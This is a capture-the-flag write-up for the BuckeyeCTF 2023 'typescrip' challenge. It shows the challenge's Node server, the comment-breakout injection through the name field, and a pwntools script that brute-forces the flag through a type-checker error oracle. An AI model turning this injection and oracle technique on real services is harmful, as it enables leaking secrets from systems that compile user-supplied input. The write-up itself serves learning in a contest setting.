← Back to home

BuckeyeCTF 2023 — typescrip

I like typescript. Do you like typescript?

nc chall.pwnoh.io 13381

We're given a JavaScript server that looks like this:

Code (js):

1import { createServer } from "net";
2import { Project } from "ts-morph";
3
4const flag = process.env.FLAG ?? "bctf{fake_flag}";
5
6function compile(source) {
7    const project = new Project({ useInMemoryFileSystem: true });
8    const sourceFile = project.createSourceFile("temp.ts", source);
9    const diagnostics = sourceFile.getPreEmitDiagnostics();
10
11    return diagnostics.map(diagnostic => {
12        const severity = ["Warning", "Error", "Suggestion", "Message"][diagnostic.getCategory()];
13        return `${severity} on line ${diagnostic.getLineNumber()}`;
14    });
15}
16
17const server = createServer(socket => {
18    socket.write("What is your name?\n> ");
19    socket.once("data", data => {
20        const name = data.toString().trim();
21        socket.write(`Hello, ${name}. Give me some code: (end with blank line)\n> `);
22        let code = '';
23        let done = false;
24        socket.on('data', data => {
25            if (done) return;
26            const line = data.toString().trim();
27            if (!line) {
28                done = true;
29                socket.write('Thinking...\n');
30
31                const today = new Date().toLocaleDateString('en-us');
32                const source = `/* TYPE CHECKED FOR ${name} ON ${today}. THE FLAG IS "${flag}". */` + "\n\n" + code;
33
34                const errors = compile(source);
35
36                if (errors.length === 0) {
37                    socket.write('Congrats, your code is perfect\n');
38                } else {
39                    socket.write(errors.join('\n') + '\n');
40                }
41
42                socket.destroy();
43            }
44            if (!done) socket.write('> ');
45
46            code += line + '\n';
47        })
48    });
49});
50
51server.listen(1024);

The server takes in a "name" and some code, then writes and type checks a TypeScript file resembling

Code (ts):

1/* TYPE CHECKED FOR {name} ON 9/29/2023. THE FLAG IS "bctf{some_flag}". */
2
3// your code here

reporting back any compilation errors. Note that we don't get what the type errors are, just whether they exist (and how many there are, and their line numbers).

The main idea is that we can brute force the flag based on whether compilation errors exist in the code. We can break out of the block comment by setting our "name" to */, and store the flag in a (multiline) string using backticks:

Code (ts):

1/* TYPE CHECKED FOR */foo(` ON 9/29/2023. THE FLAG IS "bctf{some_flag}". */
2
3`)
4function foo(x: ...) {}

Then, type check this string by passing it into the argument to foo(). We can use template literal types to match the flag one character at a time:

<img width="541" alt="image" src="https://user-images.githubusercontent.com/60120929/271787173-bec30743-e4d2-4446-9c53-ebac05d0bdb5.png"> <img width="960" alt="image" src="https://user-images.githubusercontent.com/60120929/271787201-15c1a765-7c83-4eb0-b2de-f48a37f15e57.png">

If the code compiles, we know the character is in the flag, and can keep looping over characters until none match.

Here's a quick and inefficient script that does just that:

Code (py):

1import pwn
2
3flag = ''
4letters = [
5    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
6    'X', 'Y', 'Z',
7    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
8    'x', 'y', 'z',
9    '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '_', '$', '@',
10]
11
12while True:
13    for letter in letters:
14        conn = pwn.remote('chall.pwnoh.io', 13381)
15
16        print(conn.recvline())
17        conn.send(b'*/foo(`\n')
18
19        print(conn.recvline())
20        conn.recv()
21        conn.send(b'`)\n')
22
23        conn.recv()
24        code = 'function foo(x: `${string}bctf{' + flag + letter + '${string}}${string}`) {}\n'
25        conn.send(code.encode())
26
27        conn.recv()
28        conn.send(b'\n\n\n\n')
29
30        print(conn.recvline())
31        res = conn.recvline()
32        print(res)
33        if res == b'Congrats, your code is perfect\n':
34            flag += letter
35            print(f'bctf{{{flag}}}')
36            break
37        else:
38            print(letter)
39
40        conn.close()
41    else:
42        break
43
44print(f'bctf{{{flag}}}')